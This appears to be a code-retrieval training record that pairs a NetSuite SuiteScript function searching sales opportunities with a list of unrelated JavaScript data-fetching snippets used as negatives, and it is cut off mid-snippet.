function getRecords(datain) { var filters = new Array(); var daterange = 'daysAgo90'; var projectedamount = 0; var probability = 0; if (datain.daterange) { daterange = datain.daterange; } if (datain.projectedamount) { projectedamount = datain.projectedamount; } if (datain.probability) { probability = datain.probability; } filters[0] = new nlobjSearchFilter( 'trandate', null, 'onOrAfter', daterange ); // like daysAgo90 filters[1] = new nlobjSearchFilter( 'projectedamount', null, 'greaterthanorequalto', projectedamount); filters[2] = new nlobjSearchFilter( 'probability', null, 'greaterthanorequalto', probability ); // Define search columns var columns = new Array(); columns[0] = new nlobjSearchColumn( 'salesrep' ); columns[1] = new nlobjSearchColumn( 'expectedclosedate' ); columns[2] = new nlobjSearchColumn( 'entity' ); columns[3] = new nlobjSearchColumn( 'projectedamount' ); columns[4] = new nlobjSearchColumn( 'probability' ); columns[5] = new nlobjSearchColumn( 'email', 'customer' ); columns[6] = new nlobjSearchColumn( 'email', 'salesrep' ); columns[7] = new nlobjSearchColumn( 'title' ); // Execute the search and return results var opps = new Array(); var searchresults = nlapiSearchRecord( 'opportunity', null, filters, columns ); // Loop through all search results. When the results are returned, use methods // on the nlobjSearchResult object to get values for specific fields. for ( var i = 0; searchresults != null && i < searchresults.length; i++ ) { var searchresult = searchresults[ i ]; var record = searchresult.getId( ); var salesrep = searchresult.getValue( 'salesrep' ); var salesrep_display = searchresult.getText( 'salesrep' ); var salesrep_email = searchresult.getValue( 'email', 'salesrep' ); var customer = searchresult.getValue( 'entity' ); var customer_display = searchresult.getText( 'entity' ); var customer_email = searchresult.getValue( 'email', 'customer' ); var expectedclose = searchresult.getValue( 'expectedclosedate' ); var projectedamount = searchresult.getValue( 'projectedamount' ); var probability = searchresult.getValue( 'probability' ); var title = searchresult.getValue( 'title' ); opps[opps.length++] = new opportunity( record, title, probability, projectedamount, customer_display, salesrep_display); } var returnme = new Object(); returnme.nssearchresult = opps; return returnme; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "getRecordInfo(listParam){\n let url = PGConstant.base_url + '/detail/';\n url = url + listParam.recordNo\n return _util.request({\n type : 'get',\n url : url,\n // data : {'Ldw7RrdP7jj4q89kgXCfeY'}\n });\n }", "function getData() {\n var queryParams = {\n propertySelection: \"179,7,10888003,8,\" + $scope.cfg.fieldIdToDisplay,//, // ids of fields to fetch\n queryExpression: \"'7' != 3\" //Status is not rejected\n //queryExpression: \"'8' != developer\" //Status is not rejected\n };\n\n var foo = rxRecordInstanceDataPageResource.withName($scope.cfg.recordDefinitionName);\n foo.get(100, 0, queryParams).then(\n function (allRecords) {\n $scope.myData = allRecords.data;\n }\n );\n }", "function updateEmpDetailsGET(dataIn)\r\n{\r\n\tvar empInternalId = dataIn.empInternalId;\r\n\tnlapiLogExecution ('DEBUG', 'Employee Number', empInternalId);\r\n\tvar opptyObject = new Object();\r\n\tvar empRecord = nlapiLoadRecord('employee',empInternalId);\r\n\tempRecord.setFieldValue('title', dataIn.empTitle);\r\n\tnlapiSubmitRecord(empRecord, true,true);\r\n\topptyObject.msg = \"Success\";\r\n\treturn opptyObject;\r\n}", "getRetailers(params) {\n Resource.get(this).resource('Employee:getRetailers', params)\n .then(res => {\n this.displayData.retailers = res;\n });\n }", "function getData(req, res) {\n const query = {};\n\n RecordModel.find(query, (findError, recordsArray) => {\n if (findError) {\n res.status(500);\n res.send('City Records says: Error finding records');\n } else {\n res.json(recordsArray);\n }\n });\n}", "function gettingRecordsData() {\n\treturn gettingRecordsDataForCheckin();\n}", "function processRetrieve(param) {\n\n var args = {\n source: {\n type: \"INLINE\",\n argument: [\n { name: \"arg_evl_no\", value: v_global.data.evl_no },\n { name: \"arg_item_seq\", value: v_global.data.item_seq }\n ]\n },\n target: [\n { type: \"FORM\", id: \"frmData_EVL_ITEM\", edit: true },\n { type: \"FORM\", id: \"frmData_EVL_ITEM_POINT\", edit: true }\n ]\n };\n gw_com_module.objRetrieve(args);\n\n}", "function getSelectedRecordData(sessionId, pageId){\r\n\r\n\ttry{\r\n\t\tvar filters = new Array();\r\n\t\tvar columns = new Array();\r\n\t\t\r\n\t\tfilters.push(new nlobjSearchFilter('custrecord_sessionid','','is',sessionId));\r\n\t\tfilters.push(new nlobjSearchFilter('custrecord_pageid','','is',pageId));\r\n\t\t\r\n\t\tcolumns.push(new nlobjSearchColumn('custrecord_sessionid'));\r\n\t\tcolumns.push(new nlobjSearchColumn('custrecord_pageid'));\r\n\t\tcolumns.push(new nlobjSearchColumn('custrecord_selectedprintingdata'));\r\n\t\t\r\n\t\tvar result = nlapiSearchRecord('customrecord_pickingticketprintingdata',null,filters,columns);\r\n\t\t\r\n\t\tif(result != null && result.length > 0){\r\n\t\t\t\r\n\t\t\treturn nlapiLoadRecord('customrecord_pickingticketprintingdata',result[0].getId());\r\n\t\t}\r\n\t\telse{\r\n\t\t\treturn null;\r\n\t\t}\r\n\t} catch(ex){\r\n\t\tvar msg = ex.message;\r\n\t\treturn null;\r\n\t}\r\n}", "function processRetrieve(param) {\n\n var args = {\n source: {\n type: \"INLINE\",\n argument: [\n { name: \"arg_rqst_no\", value: v_global.logic.rqst_no },\n { name: \"arg_io_tp\", value: v_global.logic.io_tp },\n { name: \"arg_wh_nm\", value: gw_com_api.getValue(\"frmOption\", 1, \"wh_nm\") }\n ]\n },\n target: [\n { type: \"GRID\", id: \"grdList_1\", focus: true, select: true }\n ],\n key: param.key\n };\n gw_com_module.objRetrieve(args);\n\n}", "get() {\n let options = {\n method: 'GET',\n url: this.url + this.table,\n qs: this.qs\n };\n\n return new Promise((resolve, reject) => {\n this.request(options, (err, response, body) => {\n if(err) {\n return reject(err);\n }\n\n try {\n if(response.statusCode !== 200) {\n return reject(new Error(`Unexpected response status ${response.statusCode}`));\n }\n\n let jsonRes = body.records;\n resolve(jsonRes);\n } catch(e) {\n return reject(e);\n }\n });\n });\n }", "function GetAllTaxBill() {\n try {\n\n var data = {};\n var ds = {};\n ds = GetDataFromServer(\"TaxBillEntry/GetAllTaxBillEntry/\", data);\n\n if (ds != '') {\n\n ds = JSON.parse(ds);\n }\n if (ds.Result == \"OK\") {\n \n return ds.Records;\n }\n if (ds.Result == \"ERROR\") {\n alert(ds.Message);\n }\n }\n catch (e) {\n notyAlert('error', e.message);\n }\n}", "function getRec(start, end) {\r\n\r\n //var baseURL = \"https://wistg.toronto.ca/inter/edc/festevents.nsf/api/data/collections/name/export?start=<start>&count=100\";\r\n var baseURL = \"http://dom01d.toronto.ca/inter/edc/festevents.nsf/api/data/collections/name/export?start=<start>&count=100\"\r\n var url = baseURL.replace('<start>',start);\r\n var request = $.ajax({\r\n type: 'GET',\r\n url: url,\r\n cache: false,\r\n crossDomain: true,\r\n dataType: 'json',\r\n success: function (data) {\r\n console.log(\"Start: \" + start + \" - found \" + data.length + \" rows\");\r\n $.each(data, function( index, row ) {\r\n eventHeaderJson.push(row);\r\n });\r\n\r\n },\r\n error: function (xhr, ajaxOptions, thrownError) {\r\n console.log(xhr.status);\r\n console.log(thrownError);\r\n }\r\n });\r\n return request;\r\n}", "getRecordList(req, res) {\n const parsedUrl = url.parse(req.url);\n const params = queryString.parse(parsedUrl.query);\n logger.info('Fetching ief list');\n\n if (params.statut && params.statut >= 0 && params.statut < 3) {\n DBManager.getRecordList(params.statut).then((result) => {\n logger.info('Successfully Fetching IEF');\n res.status(200).json(result);\n }, (err) => {\n res.status(500).json({\n error: 'cannot get IEF list',\n });\n logger.error('getRecordList error :' + err);\n });\n } else {\n res.status(422).json({\n error: 'Unprocessable Entity',\n });\n logger.error('wrong params record List');\n }\n }", "function processRetrieve(param) {\n\n var args = {\n source: {\n type: \"INLINE\",\n argument: [\n { name: \"arg_dept_area\", value: v_global.logic.dept_area },\n { name: \"arg_item_cd\", value: v_global.logic.item_cd },\n { name: \"arg_check_yn\", value: v_global.logic.check_yn }\n ]\n },\n target: [\n { type: \"GRID\", id: \"grdData_PUR\" }\n ],\n handler: {\n complete: processRetrieveEnd,\n param: param\n }\n };\n gw_com_module.objRetrieve(args);\n\n}", "function getData() {\n const apiName = 'sbrestapi';\n const path = '/alerts';\n const myInit = {\n // OPTIONAL\n headers: {}, // OPTIONAL\n };\n\n return API.get(apiName, path, myInit).catch(err => {\n console.log('There has been a problem with your fetch operation: ' + err);\n throw err;\n });\n}", "function processRetrieve(param) {\n\n var args = {\n source: {\n type: \"FORM\", id: \"frmOption\", hide: true,\n element: [\n { name: \"user_tp\", argument: \"arg_user_tp\" },\n { name: \"dept_nm\", argument: \"arg_dept_nm\" },\n { name: \"user_nm\", argument: \"arg_user_nm\" },\n { name: \"dept_area\", argument: \"arg_dept_area\" },\n { name: \"use_yn\", argument: \"arg_use_yn\" },\n ],\n remark: [\n { element: [{ name: \"dept_area\" }] },\n { element: [{ name: \"user_tp\" }] },\n { element: [{ name: \"use_yn\" }] },\n { element: [{ name: \"dept_nm\" }] },\n { element: [{ name: \"user_nm\" }] }\n ]\n },\n target: [\n { type: \"GRID\", id: \"grdData_1\", select: true }\n ],\n key: param.key\n };\n gw_com_module.objRetrieve(args);\n\n}", "function getDetails() {\n\n}", "async queryMedicalRecordByCRM(stub, args)\n {\n var docType = args[0];\n let roleAsBytes = await stub.getState(docType); \n if (!roleAsBytes || roleAsBytes.toString().length <= 0) \n {\n throw new Error(docType + ' does not exist');\n }\n let role = JSON.parse(roleAsBytes);\n if(role.medicalRecord != 'Y' && role.medicalRecord != 'R')\n {\n throw new Error('Not authorized');\n }\n\n var queryString = '{\\\"selector\\\"' + ':{\\\"docType\\\"' + ':\\\"medicalRecord\\\",' + '\\\"crm\\\"' + ':\\\"' + args[1] + '\\\",' + '\\\"id\\\"' + ':\\\"' \n + args[2] + '\\\"}' + '}';\n let iterator = await stub.getQueryResult(queryString);\n\n let allResults = [];\n while (true) \n {\n let res = await iterator.next();\n\n if (res.value && res.value.value.toString()) \n {\n let jsonRes = {};\n console.log(res.value.value.toString('utf8'));\n\n jsonRes.Key = res.value.key;\n try \n {\n jsonRes.Record = JSON.parse(res.value.value.toString('utf8'));\n } catch (err) {\n console.log(err);\n jsonRes.Record = res.value.value.toString('utf8');\n }\n allResults.push(jsonRes);\n }\n if (res.done) {\n console.log('end of data');\n await iterator.close();\n console.info(allResults);\n return Buffer.from(JSON.stringify(allResults));\n }\n }\n }", "function processRetrieve(param) {\n\n var args = {\n source: {\n type: \"INLINE\",\n argument: [\n { name: \"arg_pur_no\", value: v_global.logic.pur_no }\n ]\n },\n target: [\n { type: \"GRID\", id: \"grdList_MAIN\" },\n { type: \"GRID\", id: \"grdList_SUB\" },\n { type: \"GRID\", id: \"grdList_FILE1\" },\n { type: \"GRID\", id: \"grdList_FILE2\" }\n ],\n key: param.key,\n handler: {\n complete: processRetrieveEnd,\n param: param\n }\n };\n gw_com_module.objRetrieve(args);\n\n}", "function processRetrieve(param) {\n\n var args = {\n source: {\n type: \"INLINE\",\n argument: [\n { name: \"arg_file_id\", value: v_global.logic.file_id }\n ]\n },\n target: [\n { type: \"GRID\", id: \"grdList_MAIN\" }\n ],\n key: param.key\n };\n gw_com_module.objRetrieve(args);\n\n}", "getData(){}", "function getRecord(recordNum) {\n // get the URL:\n url = document.getElementById('db').value;\n\n var thisEntry = records[recordNum]; // get the ID of the entry you want\n $.get(url + thisEntry, display, 'json'); // make the HTTP call for the record\n}", "getRecords(queryObject) {\n let options = {\n method: 'GET',\n url: this.url + queryObject.table + '.do',\n qs: this.qs\n };\n options.qs.sysparm_query = qs.stringify(queryObject.query, '^');\n\n return new Promise((resolve, reject) => {\n this.request(options, (err, response, body) => {\n if(err) {\n return reject(err);\n }\n\n try {\n if(response.statusCode !== 200) {\n return reject(new Error(`Unexpected response status ${response.statusCode}`));\n }\n\n let jsonRes = body.records;\n resolve(jsonRes);\n } catch(e) {\n return reject(e);\n }\n });\n });\n }", "@wire(getRecord,{recordId:'$recordId',fields : FIELDS ,layoutTypes:['Full'],modes:['View','Edit','Create']})\n wiredRecord({data,error}){\n if(data){\n console.log('RECORD:_ ',data);\n this.recordDetails = data.fields;\n }\n if(error){\n console.log('ERROR:- ',error);\n }\n }", "function node_resource_retrieve(nid, callback) {\n var method = 'node_resource.retrieve';\n var timestamp = get_timestamp();\n var nonce = get_nonce();\n \n // Generating hash according to ServicesAPI Key method\n hash = get_hash(key, timestamp, domain, nonce, method);\n \n var node = new Object;\n node.method = method;\n //node.hash = hash;\n //node.domain_name = domain;\n //node.domain_time_stamp = timestamp;\n //node.nonce = nonce;\n node.nid = nid;\n \n var xhr = Titanium.Network.createHTTPClient();\n xhr.open(\"POST\",url);\n xhr.onload = callback;\n \n xhr.send({data: json_encode(node)});\n}", "function RetrieveViewConfigurationRecords() {\n var functionName = \"RetrieveViewConfigurationRecords\";\n try {\n var fetchviewconfig = \"<fetch version='1.0' output-format='xml-platform' mapping='logical' distinct='false'>\" +\n \"<entity name='triipcrm_viewconfiguration'>\" +\n \"<attribute name='triipcrm_name' />\" +\n \"<attribute name='triipcrm_savemode' />\" +\n \"<attribute name='triipcrm_relatedentity' />\" +\n \"<attribute name='triipcrm_primaryentityviewname' />\" +\n \"<attribute name='triipcrm_primaryentity' />\" +\n \"<attribute name='triipcrm_isdefault' />\" +\n \"<attribute name='triipcrm_gridtype' />\" +\n \"<attribute name='triipcrm_enablesaveprompt' />\" +\n \"<attribute name='triipcrm_primaryentityattribute' />\" +\n \"<attribute name='triipcrm_primaryentityviewid' />\" +\n \"<attribute name='triipcrm_viewconfigurationid' />\" +\n \"<attribute name='triipcrm_viewtype' />\" +\n \"<order attribute='triipcrm_name' descending='false' />\" +\n \"<filter type='and'>\" +\n \"<condition attribute='triipcrm_name' operator='eq' value='\" + _configName + \"' />\" +\n \"<condition attribute='statecode' operator='eq' value='0' />\" +\n \"</filter>\" +\n \"</entity>\" +\n \"</fetch>\";\n\n XrmServiceToolkit.Soap.Fetch(fetchviewconfig, true, function (result) { onFetchViewConfigAllComplete(result); });\n } catch (e) {\n throwError(e, functionName);\n }\n\n}", "function nlobjRequest() {\n}", "function getAccountDetails() {\n\tvar baseUrl = getClientStore().baseURL; \n\tvar accessor = objCommon.initializeAccessor(baseUrl, cellName);\n\tvar objAccountManager = new _pc.AccountManager(accessor);\n\tvar count = retrieveAccountRecordCount();\n\tvar uri = objAccountManager.getUrl();\n\turi = uri + \"?$orderby=__updated desc &$top=\" + count;\n\tvar restAdapter = _pc.RestAdapterFactory.create(accessor);\n\tvar response = restAdapter.get(uri, \"application/json\");\n\tvar json = response.bodyAsJson().d.results;\n\treturn json;\n}", "function processRetrieve(param) {\n\n var args = {\n url: \"COM\",\n nomessage: true,\n procedure: \"sp_createECMDocFieldValue\",\n input: [\n { name: \"doc_id\", value: v_global.data.doc_id, type: \"int\" },\n { name: \"usr_id\", value: gw_com_module.v_Session.USR_ID, type: \"varchar\" }\n ]\n };\n $.ajaxSetup({ async: false });\n gw_com_module.callProcedure(args);\n $.ajaxSetup({ async: true });\n\n var args = {\n source: {\n type: \"INLINE\",\n argument: [\n { name: \"arg_doc_id\", value: v_global.data.doc_id }\n ]\n },\n target: [\n { type: \"GRID\", id: \"grdData_MAIN\", select: true }\n ],\n key: param.key\n };\n gw_com_module.objRetrieve(args);\n\n}", "function processRetrieve(param) {\n var args = {\n source: {\n type: \"INLINE\",\n argument: [\n { name: \"arg_file_id\", value: param.key }\n ]\n },\n target: [\n\t\t\t{ type: \"GRID\", id: \"grdData_List\", focus: true, select: true }\n ],\n key: param.key, handler_complete: processRetrieveEnd\n };\n gw_com_module.objRetrieve(args);\n}", "function processRetrieve(param) {\n\n var args = { target: [{ type: \"FORM\", id: \"frmLogin\" }] };\n if (gw_com_module.objValidate(args) == false) return false;\n\n // Retrieve\n args = {\n source: {\n type: \"FORM\", id: \"frmLogin\",\n element: [\n { name: \"ann_seq\", argument: \"arg_ann_seq\" },\n { name: \"app_nm\", argument: \"arg_app_nm\" },\n //{ name: \"app_reg_no_1\", argument: \"arg_app_reg_no_1\" },\n //{ name: \"app_reg_no_2\", argument: \"arg_app_reg_no_2\" },\n { name: \"app_birth_date\", argument: \"arg_app_birth_date\" },\n { name: \"app_email\", argument: \"arg_app_email\" },\n { name: \"pw\", argument: \"arg_pw\" }\n ],\n argument: [\n { name: \"arg_ann_key\", value: v_global.logic.ann_key }\n ]\n },\n target: [\n { type: \"GRID\", id: \"grdList_APPLICANT\" }\n ],\n handler: { complete: processRetrieveEnd, param: param }\n };\n gw_com_module.objRetrieve(args);\n\n}", "function getInvoiceItemData(record) {\n\t\tvar FIELD_SEPARATOR = \"_\";\n\t \tvar htmlValue = record.id;\n\t \tvar applicationUser = jq('#applicationUser').val();\n\t \t//alert(htmlValue);\n\t \tvar field = htmlValue.split(FIELD_SEPARATOR);\n\t \tvar lineId = field[1];\n\t \tvar requestString = \"user=\" + jq('#applicationUser').val() + \"&avd=\" + jq('#heavd').val() + \"&opd=\" + jq('#heopd').val() + \"&lin=\" + lineId + \"&type=A\";\n\t \t//alert(requestString);\n\t \t//http://gw.systema.no/sycgip/TJGE25R.pgm?user=JOVO&avd=80&opd=201523&lin=&type=A\n\t \t\n\t \tjq.ajax({\n\t \t type: 'GET',\n\t \t url: 'getOrderInvoiceDetailLine_Flyexport.do', //we are borrowing services from TranspDisp in the Controller until Tror module is able to migrate this ...\n\t \t data: { applicationUser : applicationUser, \n\t \t\t \t requestString : requestString }, \n\t \t dataType: 'json',\n\t \t cache: false,\n\t \t contentType: 'application/json',\n\t \t success: function(data) {\n\t \t\tvar len = data.length;\n\t\t\tfor ( var i = 0; i < len; i++) {\n\t\t\t\t//alert(data[i].fask);\n\t\t\t\t//jq('#editLineNr').text(\"\");jq('#editLineNr').text(data[i].fali);\n\t\t\t\tjq('#updCancelButton').show(); //in order to be able to cancel (implicit reload)\n\t\t\t\tjq('#editLineNr').text(\"\");jq('#editLineNr').text(data[i].fali); //for GUI purposes\n\t\t\t\t//keys\n\t\t\t\tjq('#fali').val(\"\");jq('#fali').val(data[i].fali);\n\t\t\t\t//the rest\n\t\t\t\tjq('#fask').val(\"\");jq('#fask').val(data[i].fask);\n\t\t\t\tjq('#favk').val(\"\");jq('#favk').val(data[i].favk);\n\t\t\t\tjq('#fabelv').val(\"\");jq('#fabelv').val(data[i].fabelv);\n\t\t\t\tjq('#faval').val(\"\");jq('#faval').val(data[i].faval);\n\t\t\t\tjq('#fakdm').val(\"\");jq('#fakdm').val(data[i].fakdm);\n\t\t\t\tjq('#fakunr').val(\"\");jq('#fakunr').val(data[i].fakunr);\n\t\t\t\tjq('#fadocnB').val(\"\");jq('#fadocnB').val(data[i].fadocnB);\n\t\t\t\tjq('#faavdr').val(\"\");jq('#faavdr').val(data[i].faavdr);\n\t\t\t\tjq('#falevn').val(\"\");jq('#falevn').val(data[i].falevn);\n\t\t\t\tjq('#fakduk').val(\"\");jq('#fakduk').val(data[i].fakduk);\n\t\t\t\tjq('#facu33').val(\"\");jq('#facu33').val(data[i].facu33);\n\t\t\t\tjq('#fabelu').val(\"\");jq('#fabelu').val(data[i].fabelu);\n\t\t\t\tjq('#facd11').val(\"\");jq('#facd11').val(data[i].facd11);\n\t\t\t\t//Fritext\n\t\t\t\tjq('#faVT').val(\"\");jq('#faVT').val(data[i].faVT);\n\t\t\t\t//jq('#stdVt').val(\"\");jq('#stdVt').val(data[i].stdVt);\n\t\t\t\t\n\t\t\t\t/* tentative \n\t\t\t\tvar freeText = data[i].faVT;\n\t\t\t\tif(freeText!=\"\"){\n\t\t\t\t\tjq('#freeText').val(\"\");jq('#freeText').val(data[i].faVT); //only for presentation purposes\n\t\t\t\t}else{\n\t\t\t\t\tjq('#freeText').val(\"\");jq('#freeText').val(data[i].stdVt); //only for presentation purposes\n\t\t\t\t}\n\t\t\t\t*/\n\t\t\t\tjq('#fask').focus();\n\t\t\t}\n\t \t },\n\t \t error: function() {\n\t \t alert('Error loading ...');\n\t \t }\n\t \t});\n \t}", "function getRetrieve(){\n var xhr = new XMLHttpRequest();\n xhr.open(\"GET\", '/retrieveRecords', true);\n xhr.onreadystatechange= function() {\n if (this.readyState!==4) return; // not ready yet\n if (this.status===200) { // HTTP 200 OK\n retrieve(this.responseText);\n } else {\n alert(\"not working!\");\n }\n };\n xhr.send(null);\n}", "function GetAllCreditNotes(showAllYN) {\n try {\n \n var data = { \"showAllYN\": showAllYN };\n var ds = {};\n ds = GetDataFromServer(\"CreditNotes/GetAllCreditNotes/\", data);\n \n if (ds != '') {\n ds = JSON.parse(ds);\n }\n if (ds.Result == \"OK\") {\n \n return ds.Records;\n }\n if (ds.Result == \"ERROR\") {\n alert(ds.Message);\n }\n }\n catch (e) {\n notyAlert('error', e.message);\n }\n}", "function RetrieveRecord(config) {\n RED.nodes.createNode(this, config);\n var node = this;\n var server = RED.nodes.getNode(config.server);\n\n // Initial sysparm with defaults values\n var sysparm = {\n sys_id: '' ,\n display_value: false ,\n exclude_reference_link: false,\n fields: '',\n view: '',\n query_no_domain: false\n };\n\n this.prepareRequest = function(table,sysparm,callback) {\n var options = {\n baseUrl: server.instance,\n uri: 'api/now/table/'+table+\n '/'+sysparm.sys_id+\n '?sysparm_display_value='+sysparm.display_value+\n '&sysparm_exclude_reference_link='+sysparm.exclude_reference_link+\n '&sysparm_fields='+sysparm.fields+\n '&sysparm_view='+sysparm.view+\n '&sysparm_query_no_domain='+sysparm.query_no_domain,\n body: null,\n method: 'GET',\n json: true,\n headers: {\n 'Content-Type': 'application/json',\n 'Authorization': server.auth\n }\n };\n server.doRequest(options, callback);\n\n }\n\n this.on('input', function(msg) {\n var table = msg.topic;\n\n // Replace sysparm with node properties\n if (msg.sys_id){\n sysparm.sys_id=msg.sys_id\n }\n if (msg.sysparm_display_value){\n sysparm.display_value=msg.sysparm_display_value\n }\n if (msg.sysparm_exclude_reference_link){\n sysparm.exclude_reference_link=msg.sysparm_exclude_reference_link\n }\n if (msg.sysparm_fields){\n sysparm.fields=msg.sysparm_fields\n }\n if (msg.sysparm_view){\n sysparm.view=msg.sysparm_view\n }\n if (msg.sysparm_query_no_domain){\n sysparm.query_no_domain=msg.sysparm_query_no_domain\n }\n\n if (!table || !sysparm.sys_id) {\n node.status({\n fill: \"red\",\n shape: \"dot\",\n text: \"Invalid message received\"\n });\n }\n var callback = function(err, res, body) {\n\n\n if (res.statusCode === 200) {\n node.status({});\n msg.payload=res;\n node.send(msg);\n } else {\n node.status({\n fill: \"red\",\n shape: \"dot\",\n text: \"Request failed\"\n });\n node.error(\"Error Retrieving record: \"+ sysparm.sys_id + \"(\" + res.statusCode + \"): \" + JSON.stringify(err) + \" \" + JSON.stringify(body));\n }\n\n };\n node.status({\n fill: \"blue\",\n shape: \"dot\",\n text: \"Requesting...\"\n });\n this.prepareRequest(table,sysparm,callback);\n });\n \n }", "function getRecDetail(recName){\n recName = recName.replace(\" \", \"_\");\n var recDetailUrl = mealNameSearch + recName;\n\n fetch(recDetailUrl)\n .then(function(response) {\n if (response.ok) {\n response.json().then(function(data) {\n getDetails(data, recName);\n });\n } \n })\n .catch(function(error) {\n alert(\"Unable to connect\");\n });\n}", "function getFieldInfo(entity, callback, resourceID = \"null\")\n{\n\n\tvar query = \"<GetFieldInfo xmlns='http://autotask.net/ATWS/v1_6/'><psObjectType>\" + entity +\"</psObjectType></GetFieldInfo>\"\n\n\t//console.log(queryStringHead + query + queryStringTail)\n\n\tsendRequest(query, resourceID, function(apiResponse) {\n\t\tcallback(apiResponse)\n\t}, \"GetFieldInfo\")\n}", "function doRead(req, currentTable) \n{\n var data = {};\n data.records = _readData(currentTable);\n return response().json(data);\n\n}", "fetchEmployee(params) {\r\n return Api().get('/employees/' + params)\r\n }", "function doRead(request, sheetObject) \n{\n var data = {};\n \n data.records = _readData(sheetObject);\n\n return response().json(data);\n\n}", "function get_data() {}", "function doGet(e) {\n var doc = SpreadsheetApp.openById(SCRIPT_PROP.getProperty(\"key\"));\n var sheet = doc.getSheetByName('record');\n var nextRow = sheet.getLastRow();\n var recentRange;\n var dataReturn;\n if (sheet.getLastRow() == 1) {\n dataReturn = [];\n } else {\n recentRange = sheet.getRange(2, 1, sheet.getLastRow()-1, 5);\n dataReturn = recentRange.getDisplayValues();\n }\n return ContentService\n .createTextOutput(\n JSON.stringify({\n \"result\": \"success\",\n \"data\": JSON.stringify(dataReturn)\n }))\n .setMimeType(ContentService.MimeType.JSON);\n}", "function nlobjResponse() {\n}", "function getPartnerEmail(name) {\n var obj;\n var xmlhttp = new XMLHttpRequest();\n\n xmlhttp.onreadystatechange = function() {\n if (this.readyState == 4 && this.status == 200) {\n var response = xmlhttp.responseText;\n\n obj = JSON.parse(response);\n }\n };\n\n xmlhttp.open(\"GET\", \"http://ec2-54-166-214-152.compute-1.amazonaws.com:8081/PartnerEmail/\\'\" + name + \"\\'\", false);\n \n xmlhttp.send();\n\n return obj.recordset[0].Email;\n}", "@wire(getRecord, {recordId: '$recordId', layoutTypes: [\"Full\"]})\n handleGetRecord(record) {\n if(record.data) {\n this.hasDataLoaded.record = true;\n this.recordData = record.data;\n if(this.hasDataLoaded.object === true) {\n this.handleWireDataLoaded();\n }\n } else if(record.error) {\n this.handleWireDataLoaded()\n }\n }", "function retrieveReport(name,type,from, to){\n\n $.ajax({\n type: \"GET\",\n contentType: \"application/json; charset=utf-8\",\n url: \"/ReportService\",\n data: jsonData(name,type,from, to),\n dateType: \"json\",\n success: function (data) {\n onDataReceived(data);\n },\n error: function (xhr, status, error) {\n var err = eval(\"(\" + xhr.responseText + \")\");\n alert(err.Message);\n }\n });\n}", "function onGetAllSuccess_GetResponseFromDatabaseWhereClause(records){\n isSuccess = true;\n ReturnRecords = (records);\n}", "function getDataRecord(req, res, filter, next) {\n if (filter.product_id || filter.product_name) {\n dataModel.getItem(filter, function (err, doc) {\n if (err) {\n response.err(req, res, 'INTERNAL_DB_OPT_FAIL');\n }\n // Output product_detail\n if (!next) {\n if (!doc) {\n response.err(req, res, 'RECORD_NOT_EXIST', filter);\n }\n else {\n response.ok(req, res, doc);\n }\n }\n else {\n next(doc);\n }\n });\n }\n else {\n if (!filter.product_id) {\n return response.err(req, res, 'MISSING_PARAMETERS', 'product_id');\n }\n if (!filter.product_name) {\n return response.err(req, res, 'MISSING_PARAMETERS', 'product_name');\n }\n }\n}", "GetData() {}", "static async getSampleRecords(request, handler) {\n //console.log(handler.response);\n\n console.log(request.logs);\n console.log(request.params);\n console.log(request.query);\n const sampleData = await Restaurant.find({});\n console.log(sampleData,\"******\");\n return new Response(sampleData).sendResponse();\n //return handler.response();\n }", "function filterSalesRecords(event) {\n\t\n\t//construct empty retrieve JSON object\n\tvar json =\n\t{\n\t\"authent\": {\n\t\t\t\"username\": \"feferi\",\n\t\t\t\"password\": \"0413\"\n\t\t},\n\t\t\n\t\t\"requests\": [\n\t\t\t{\n\t\t\t\t\"type\": \"retrieve\"\n\t\t\t}\n\t\t]\n\t};\n\t\n\t//console.log(json);\n\t\n\treturn sendAPIRequest(json, event, displaySalesRecords);\n}", "function index() {\n\n return resource.fetch()\n .then(function(data){ return data; });\n }", "function REST() {\n var configuration = SharePointClient.Configurations;\n var utility = new SharePointClient.Utilities.Utility();\n configuration.IsApp = true;\n \n\n var listServices = new SharePointClient.Services.REST.ListServices();\n\n //REST Listservices class for accessing list services\n var listServices = new SharePointClient.Services.REST.ListServices();\n\n //Set response type\n var responseType = SharePointClient.Constants.REST.HTTP.DATA_TYPE.JSON;\n\n var listTitle = \"xyz\";\n //Create Caml object\n var camlConstant = SharePointClient.Constants.CAML_CONSTANT;\n var camlQuery = new SharePointClient.CamlExtension.REST.CamlQuery();\n camlQuery.SetViewScopeAttribute(camlConstant.CAML_QUERY_SCOPE.RECURSIVE_ALL)\n .SetViewFieldsXml(\"<FieldRef Name='ID'/><FieldRef Name='Title'/>\")\n .SetQuery(\"<Where><Geq><FieldRef Name=\\\"Modified\\\" /><Value Type=\\\"DateTime\\\" IncludeTimeValue=\\\"TRUE\\\"\"\n + \"StorageTZ=\\\"TRUE\\\">2014-08-05T15:50:08</Value></Geq></Where>\")\n .OverrideQueryThrottleMode(camlConstant.CAML_QUERY_THROTTLE_MODE.OVERRIDE)\n .OverrideOrderByIndex()\n .SetRowLimit(5000);\n\n //Get All list items batch by list name\n listServices.GetListItemsBatchByListName(listTitle, camlQuery.BuildQuery(), responseType).Execute(function (result) {\n //logic for working with returned result set\n });\n}", "function processRetrieve(param) {\n\n if (param.object == \"grdList_MAIN\") {\n\n var args = {\n source: {\n type: param.type, id: param.object, row: param.row,\n element: [\n { name: \"doc_id\", argument: \"arg_doc_id\" }\n ]\n },\n target: [\n { type: \"FORM\", id: \"frmData_MAIN\" }\n ]\n };\n //----------\n $.blockUI();\n //----------\n var param = {\n type: args.source.type,\n targetid: args.source.id,\n row: args.source.row,\n element: args.source.element,\n argument: args.source.argument\n };\n var data = gw_com_module.elementtoARG(param);\n args.param = data.query;\n if (args.source.hide)\n $(\"#\" + args.source.id).hide();\n\n var args = {\n request: \"PAGE\",\n name: \"SVM_1050_2\",\n async: false,\n param: args,\n url: \"../Service/svc_Data_Retrieve_JSONs.aspx\" +\n \"?QRY_ID=SVM_1050_2\" +\n \"&QRY_COLS=prod_type_nm,cust_nm,cust_dept_nm,prod_nm,dlv_ymd,cust_proc_nm,proj_no,prod_subqty,ext1_cd,ext2_cd,ext3_cd\" +\n \"&CRUD=R\" +\n \"&arg_data_tp=H\" + args.param,\n handler_success: function (data) {\n\n v_global.logic.row = v_global.logic.form.content.row;\n $.each(data, function () {\n var i = 0;\n for (var j = 0; j < this.DATA.length - 1; j++) {\n v_global.logic.row[i].element.push({ cols: 20, type: \"label\", value: this.DATA[j], header: true, font: { size: 10 }});\n i++;\n }\n })\n getData(this.param);\n\n 